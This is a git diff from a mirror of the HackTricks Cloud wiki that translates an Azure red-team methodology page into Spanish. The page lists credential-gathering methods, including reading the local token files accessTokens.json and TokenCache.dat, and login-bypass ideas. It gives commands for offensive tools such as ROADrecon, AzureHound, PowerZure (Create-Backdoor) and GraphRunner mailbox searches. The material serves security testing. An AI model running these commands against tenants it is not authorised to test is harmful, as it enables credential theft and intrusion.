mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-08 03:10:49 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -2,86 +2,85 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Información Básica
|
||||
|
||||
{{#ref}}
|
||||
az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Pentester/Red Team Methodology
|
||||
## Metodología de Pentesting/Red Team de Azure
|
||||
|
||||
In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
|
||||
Para auditar un entorno de AZURE, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de Azure y los **servicios externos**.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
|
||||
Desde el punto de vista de un Red Team, el **primer paso para comprometer un entorno de Azure** es conseguir obtener algunas **credenciales** para Azure AD. Aquí tienes algunas ideas sobre cómo hacerlo:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in Azure-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
- The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
|
||||
- The file **`azureProfile.json`** contains **info** about logged user.
|
||||
- **`az logout`** removes the token.
|
||||
- Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
|
||||
Use `Disconnect-AzAccount` to remove them.
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
|
||||
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
- **Filtraciones** en github (o similar) - OSINT
|
||||
- **Ingeniería** Social
|
||||
- Reutilización de **contraseñas** (filtraciones de contraseñas)
|
||||
- Vulnerabilidades en Aplicaciones Alojadas en Azure
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos
|
||||
- **Lectura de Archivos Locales**
|
||||
- `/home/USERNAME/.azure`
|
||||
- `C:\Users\USERNAME\.azure`
|
||||
- El archivo **`accessTokens.json`** en `az cli` antes de 2.30 - Jan2022 - almacenaba **tokens de acceso en texto claro**
|
||||
- El archivo **`azureProfile.json`** contiene **info** sobre el usuario conectado.
|
||||
- **`az logout`** elimina el token.
|
||||
- Versiones anteriores de **`Az PowerShell`** almacenaban **tokens de acceso** en **texto claro** en **`TokenCache.dat`**. También almacena **ServicePrincipalSecret** en **texto claro** en **`AzureRmContext.json`**. El cmdlet **`Save-AzContext`** se puede usar para **almacenar** **tokens**.\
|
||||
Usa `Disconnect-AzAccount` para eliminarlos.
|
||||
- Terceros **comprometidos**
|
||||
- **Empleado** Interno
|
||||
- [**Phishing Común**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credenciales o aplicación Oauth)
|
||||
- [Phishing de Autenticación con Código de Dispositivo](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||
- [**Password Spraying** de Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||
|
||||
Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
|
||||
Incluso si no has **comprometido a ningún usuario** dentro del inquilino de Azure que estás atacando, puedes **recolectar algo de información** de él:
|
||||
|
||||
{{#ref}}
|
||||
az-unauthenticated-enum-and-initial-entry/
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> Después de haber conseguido obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica:
|
||||
|
||||
## Basic Enumeration
|
||||
## Enumeración Básica
|
||||
|
||||
> [!NOTE]
|
||||
> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
|
||||
> Recuerda que la parte **más ruidosa** de la enumeración es el **inicio de sesión**, no la enumeración en sí.
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside Azure check this page for tricks:
|
||||
Si encontraste un SSRF en una máquina dentro de Azure, consulta esta página para trucos:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
### Bypass Login Conditions
|
||||
### Bypass de Condiciones de Inicio de Sesión
|
||||
|
||||
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
|
||||
En casos donde tienes algunas credenciales válidas pero no puedes iniciar sesión, estas son algunas protecciones comunes que podrían estar en su lugar:
|
||||
|
||||
- **IP whitelisting** -- You need to compromise a valid IP
|
||||
- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
|
||||
- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
|
||||
- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
|
||||
- **Lista blanca de IP** -- Necesitas comprometer una IP válida
|
||||
- **Restricciones geográficas** -- Encuentra dónde vive el usuario o dónde están las oficinas de la empresa y obtén una IP de la misma ciudad (o país al menos)
|
||||
- **Navegador** -- Tal vez solo se permite un navegador de cierto SO (Windows, Linux, Mac, Android, iOS). Descubre qué SO usa la víctima/empresa.
|
||||
- También puedes intentar **comprometer las credenciales del Service Principal** ya que suelen ser menos limitadas y su inicio de sesión es menos revisado
|
||||
|
||||
After bypassing it, you might be able to get back to your initial setup and you will still have access.
|
||||
Después de eludirlo, podrías ser capaz de volver a tu configuración inicial y aún tendrás acceso.
|
||||
|
||||
### Subdomain Takeover
|
||||
### Toma de Subdominio
|
||||
|
||||
- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
|
||||
|
||||
### Whoami
|
||||
|
||||
> [!CAUTION]
|
||||
> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
|
||||
> Aprende **cómo instalar** az cli, AzureAD y Az PowerShell en la sección [**Az - Entra ID**](az-services/az-azuread.md).
|
||||
|
||||
One of the first things you need to know is **who you are** (in which environment you are):
|
||||
Una de las primeras cosas que necesitas saber es **quién eres** (en qué entorno estás):
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az account list
|
||||
az account tenant list # Current tenant info
|
||||
@@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user
|
||||
az ad signed-in-user list-owned-objects # Get owned objects by current user
|
||||
az account management-group list #Not allowed by default
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```powershell
|
||||
#Get the current session state
|
||||
Get-AzureADCurrentSessionInfo
|
||||
#Get details of the current tenant
|
||||
Get-AzureADTenantDetail
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get the information about the current context (Account, Tenant, Subscription etc.)
|
||||
Get-AzContext
|
||||
@@ -121,53 +116,49 @@ Get-AzResource
|
||||
Get-AzRoleAssignment # For all users
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
|
||||
> Uno de los comandos más importantes para enumerar Azure es **`Get-AzResource`** de Az PowerShell, ya que te permite **conocer los recursos a los que tu usuario actual tiene visibilidad**.
|
||||
>
|
||||
> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
|
||||
> Puedes obtener la misma información en la **consola web** yendo a [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) o buscando "Todos los recursos"
|
||||
|
||||
### ENtra ID Enumeration
|
||||
### Enumeración de ENtra ID
|
||||
|
||||
By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
|
||||
You can find here a guide:
|
||||
Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como, usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/#default-user-permissions)).\
|
||||
Aquí puedes encontrar una guía:
|
||||
|
||||
{{#ref}}
|
||||
az-services/az-azuread.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> Ahora que **tienes algo de información sobre tus credenciales** (y si eres un equipo rojo, espero que **no hayas sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\
|
||||
> En la siguiente sección puedes revisar algunas formas de **enumerar algunos servicios comunes.**
|
||||
|
||||
## App Service SCM
|
||||
|
||||
Kudu console to log in to the App Service 'container'.
|
||||
Consola Kudu para iniciar sesión en el 'contenedor' del App Service.
|
||||
|
||||
## Webshell
|
||||
|
||||
Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
|
||||
Usa portal.azure.com y selecciona la shell, o usa shell.azure.com, para un bash o powershell. El 'disco' de esta shell se almacena como un archivo de imagen en una cuenta de almacenamiento.
|
||||
|
||||
## Azure DevOps
|
||||
|
||||
Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
|
||||
Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki, y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos.
|
||||
|
||||
## Debug | MitM az cli
|
||||
|
||||
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
|
||||
|
||||
Usando el parámetro **`--debug`** es posible ver todas las solicitudes que la herramienta **`az`** está enviando:
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
|
||||
Para realizar un **MitM** a la herramienta y **verificar todas las solicitudes** que está enviando manualmente, puedes hacer:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
@@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Automated Recon Tools
|
||||
## Herramientas de Reconocimiento Automatizado
|
||||
|
||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
```powershell
|
||||
cd ROADTools
|
||||
pipenv shell
|
||||
@@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||
roadrecon gather
|
||||
roadrecon gui
|
||||
```
|
||||
|
||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||
|
||||
```powershell
|
||||
Import-Module monkey365
|
||||
Get-Help Invoke-Monkey365
|
||||
@@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed
|
||||
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
|
||||
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
|
||||
```
|
||||
|
||||
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
|
||||
|
||||
```powershell
|
||||
# Start Backend
|
||||
cd stormspotter\backend\
|
||||
@@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
||||
python stormspotter\stormcollector\sscollector.pyz cli
|
||||
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
||||
```
|
||||
|
||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||
|
||||
```powershell
|
||||
# You need to use the Az PowerShell and Azure AD modules:
|
||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
||||
@@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu
|
||||
## All Azure AD Groups that are synchronized with On-Premise AD
|
||||
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
|
||||
```
|
||||
|
||||
### [Azucar](https://github.com/nccgroup/azucar)
|
||||
|
||||
```bash
|
||||
# You should use an account with at least read-permission on the assets you want to access
|
||||
git clone https://github.com/nccgroup/azucar.git
|
||||
@@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
|
||||
# resolve the TenantID for an specific username
|
||||
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
|
||||
```
|
||||
|
||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||
|
||||
```
|
||||
Import-Module .\MicroBurst.psm1
|
||||
Import-Module .\Get-AzureDomainInfo.ps1
|
||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
||||
```
|
||||
|
||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
||||
|
||||
```powershell
|
||||
Connect-AzAccount
|
||||
ipmo C:\Path\To\Powerzure.psd1
|
||||
@@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
|
||||
# Administrator
|
||||
$ Create-Backdoor, Execute-Backdoor
|
||||
```
|
||||
|
||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
||||
|
||||
```powershell
|
||||
|
||||
#Get-GraphTokens
|
||||
@@ -398,9 +371,4 @@ Get-TenantID -Domain
|
||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
||||
Invoke-GraphRunner -Tokens $tokens
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,376 +1,372 @@
|
||||
# Az - Basic Information
|
||||
# Az - Información Básica
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organization Hierarchy
|
||||
## Jerarquía de Organización
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>
|
||||
|
||||
### Management Groups
|
||||
### Grupos de Gestión
|
||||
|
||||
- It can contain **other management groups or subscriptions**.
|
||||
- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
|
||||
- **10,000 management** groups can be supported in a single directory.
|
||||
- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
|
||||
- Each management group and subscription can support **only one parent**.
|
||||
- Even if several management groups can be created **there is only 1 root management group**.
|
||||
- The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
|
||||
- All subscriptions within a single management group must trust the **same Entra ID tenant.**
|
||||
- Puede contener **otros grupos de gestión o suscripciones**.
|
||||
- Esto permite **aplicar controles de gobernanza** como RBAC y Azure Policy una vez a nivel de grupo de gestión y que sean **heredados** por todas las suscripciones en el grupo.
|
||||
- Se pueden soportar **10,000 grupos de gestión** en un solo directorio.
|
||||
- Un árbol de grupos de gestión puede soportar **hasta seis niveles de profundidad**. Este límite no incluye el nivel raíz o el nivel de suscripción.
|
||||
- Cada grupo de gestión y suscripción puede soportar **solo un padre**.
|
||||
- Aunque se pueden crear varios grupos de gestión, **solo hay 1 grupo de gestión raíz**.
|
||||
- El grupo de gestión raíz **contiene** todos los **otros grupos de gestión y suscripciones** y **no puede ser movido o eliminado**.
|
||||
- Todas las suscripciones dentro de un solo grupo de gestión deben confiar en el **mismo inquilino de Entra ID.**
|
||||
|
||||
<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
|
||||
|
||||
### Azure Subscriptions
|
||||
### Suscripciones de Azure
|
||||
|
||||
- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
|
||||
- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
|
||||
- It **trust only one Entra ID** directory
|
||||
- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
|
||||
- Es otro **contenedor lógico donde se pueden ejecutar recursos** (VMs, DBs…) y se facturará.
|
||||
- Su **padre** es siempre un **grupo de gestión** (y puede ser el grupo de gestión raíz) ya que las suscripciones no pueden contener otras suscripciones.
|
||||
- **Confía en un solo directorio de Entra ID**
|
||||
- **Los permisos** aplicados a nivel de suscripción (o cualquiera de sus padres) son **heredados** a todos los recursos dentro de la suscripción.
|
||||
|
||||
### Resource Groups
|
||||
### Grupos de Recursos
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group.
|
||||
[De la documentación:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un grupo de recursos es un **contenedor** que alberga **recursos relacionados** para una solución de Azure. El grupo de recursos puede incluir todos los recursos para la solución, o solo aquellos **recursos que deseas gestionar como un grupo**. Generalmente, agrega **recursos** que comparten el **mismo ciclo de vida** al mismo grupo de recursos para que puedas desplegarlos, actualizarlos y eliminarlos fácilmente como un grupo.
|
||||
|
||||
All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
|
||||
Todos los **recursos** deben estar **dentro de un grupo de recursos** y solo pueden pertenecer a un grupo, y si se elimina un grupo de recursos, todos los recursos dentro de él también se eliminan.
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1</a></p></figcaption></figure>
|
||||
|
||||
### Azure Resource IDs
|
||||
### IDs de Recursos de Azure
|
||||
|
||||
Every resource in Azure has an Azure Resource ID that identifies it.
|
||||
Cada recurso en Azure tiene un ID de Recurso de Azure que lo identifica.
|
||||
|
||||
The format of an Azure Resource ID is as follows:
|
||||
El formato de un ID de Recurso de Azure es el siguiente:
|
||||
|
||||
- `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
|
||||
|
||||
For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
|
||||
Para una máquina virtual llamada myVM en un grupo de recursos `myResourceGroup` bajo el ID de suscripción `12345678-1234-1234-1234-123456789012`, el ID de Recurso de Azure se ve así:
|
||||
|
||||
- `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
|
||||
|
||||
## Azure vs Entra ID vs Azure AD Domain Services
|
||||
## Azure vs Entra ID vs Servicios de Dominio de Azure AD
|
||||
|
||||
### Azure
|
||||
|
||||
Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises.
|
||||
Azure es la **plataforma de computación en la nube integral de Microsoft, que ofrece una amplia gama de servicios**, incluyendo máquinas virtuales, bases de datos, inteligencia artificial y almacenamiento. Actúa como la base para alojar y gestionar aplicaciones, construir infraestructuras escalables y ejecutar cargas de trabajo modernas en la nube. Azure proporciona herramientas para desarrolladores y profesionales de TI para crear, desplegar y gestionar aplicaciones y servicios sin problemas, atendiendo a una variedad de necesidades desde startups hasta grandes empresas.
|
||||
|
||||
### Entra ID (formerly Azure Active Directory)
|
||||
### Entra ID (anteriormente Azure Active Directory)
|
||||
|
||||
Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others.
|
||||
Entra ID es un servicio de **gestión de identidad y acceso basado en la nube** diseñado para manejar la autenticación, autorización y control de acceso de usuarios. Potencia el acceso seguro a servicios de Microsoft como Office 365, Azure y muchas aplicaciones SaaS de terceros. Con características como inicio de sesión único (SSO), autenticación multifactor (MFA) y políticas de acceso condicional, entre otras.
|
||||
|
||||
### Entra Domain Services (formerly Azure AD DS)
|
||||
### Servicios de Dominio de Entra (anteriormente Azure AD DS)
|
||||
|
||||
Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments.
|
||||
Los Servicios de Dominio de Entra amplían las capacidades de Entra ID al ofrecer **servicios de dominio administrados compatibles con entornos tradicionales de Windows Active Directory**. Soporta protocolos heredados como LDAP, Kerberos y NTLM, permitiendo a las organizaciones migrar o ejecutar aplicaciones más antiguas en la nube sin desplegar controladores de dominio locales. Este servicio también soporta Políticas de Grupo para gestión centralizada, haciéndolo adecuado para escenarios donde cargas de trabajo heredadas o basadas en AD necesitan coexistir con entornos modernos en la nube.
|
||||
|
||||
## Entra ID Principals
|
||||
## Principales de Entra ID
|
||||
|
||||
### Users
|
||||
### Usuarios
|
||||
|
||||
- **New users**
|
||||
- Indicate email name and domain from selected tenant
|
||||
- Indicate Display name
|
||||
- Indicate password
|
||||
- Indicate properties (first name, job title, contact info…)
|
||||
- Default user type is “**member**”
|
||||
- **External users**
|
||||
- Indicate email to invite and display name (can be a non Microsft email)
|
||||
- Indicate properties
|
||||
- Default user type is “**Guest**”
|
||||
- **Nuevos usuarios**
|
||||
- Indicar nombre de correo electrónico y dominio del inquilino seleccionado
|
||||
- Indicar nombre para mostrar
|
||||
- Indicar contraseña
|
||||
- Indicar propiedades (nombre, título del trabajo, información de contacto…)
|
||||
- El tipo de usuario predeterminado es “**miembro**”
|
||||
- **Usuarios externos**
|
||||
- Indicar correo electrónico para invitar y nombre para mostrar (puede ser un correo electrónico no de Microsoft)
|
||||
- Indicar propiedades
|
||||
- El tipo de usuario predeterminado es “**Invitado**”
|
||||
|
||||
### Members & Guests Default Permissions
|
||||
### Permisos Predeterminados para Miembros e Invitados
|
||||
|
||||
You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
|
||||
Puedes consultarlos en [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) pero entre otras acciones, un miembro podrá:
|
||||
|
||||
- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
|
||||
- Invite Guests (_can be turned off_)
|
||||
- Create Security groups
|
||||
- Read non-hidden Group memberships
|
||||
- Add guests to Owned groups
|
||||
- Create new application (_can be turned off_)
|
||||
- Add up to 50 devices to Azure (_can be turned off_)
|
||||
- Leer todos los usuarios, Grupos, Aplicaciones, Dispositivos, Roles, Suscripciones y sus propiedades públicas
|
||||
- Invitar Invitados (_se puede desactivar_)
|
||||
- Crear grupos de seguridad
|
||||
- Leer membresías de grupos no ocultos
|
||||
- Agregar invitados a grupos de propiedad
|
||||
- Crear nueva aplicación (_se puede desactivar_)
|
||||
- Agregar hasta 50 dispositivos a Azure (_se puede desactivar_)
|
||||
|
||||
> [!NOTE]
|
||||
> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
|
||||
> Recuerda que para enumerar recursos de Azure, el usuario necesita un otorgamiento explícito del permiso.
|
||||
|
||||
### Users Default Configurable Permissions
|
||||
### Permisos Configurables Predeterminados para Usuarios
|
||||
|
||||
- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
|
||||
- Register Applications: Default **Yes**
|
||||
- Restrict non-admin users from creating tenants: Default **No**
|
||||
- Create security groups: Default **Yes**
|
||||
- Restrict access to Microsoft Entra administration portal: Default **No**
|
||||
- This doesn’t restrict API access to the portal (only web)
|
||||
- Allow users to connect work or school account with LinkedIn: Default **Yes**
|
||||
- Show keep user signed in: Default **Yes**
|
||||
- Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
|
||||
- Read other users: Default **Yes** (via Microsoft Graph)
|
||||
- **Guests**
|
||||
- **Guest user access restrictions**
|
||||
- **Guest users have the same access as members** grants all member user permissions to guest users by default.
|
||||
- **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
|
||||
- **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
|
||||
- **Guests can invite**
|
||||
- **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
|
||||
- **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
|
||||
- **Only users assigned to specific admin roles can invite guest users**
|
||||
- **No one in the organization can invite guest users including admins (most restrictive)**
|
||||
- **External user leave**: Default **True**
|
||||
- Allow external users to leave the organization
|
||||
- **Miembros (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
|
||||
- Registrar Aplicaciones: Predeterminado **Sí**
|
||||
- Restringir a los usuarios no administradores de crear inquilinos: Predeterminado **No**
|
||||
- Crear grupos de seguridad: Predeterminado **Sí**
|
||||
- Restringir el acceso al portal de administración de Microsoft Entra: Predeterminado **No**
|
||||
- Esto no restringe el acceso a la API del portal (solo web)
|
||||
- Permitir a los usuarios conectar cuentas de trabajo o escolares con LinkedIn: Predeterminado **Sí**
|
||||
- Mostrar mantener al usuario conectado: Predeterminado **Sí**
|
||||
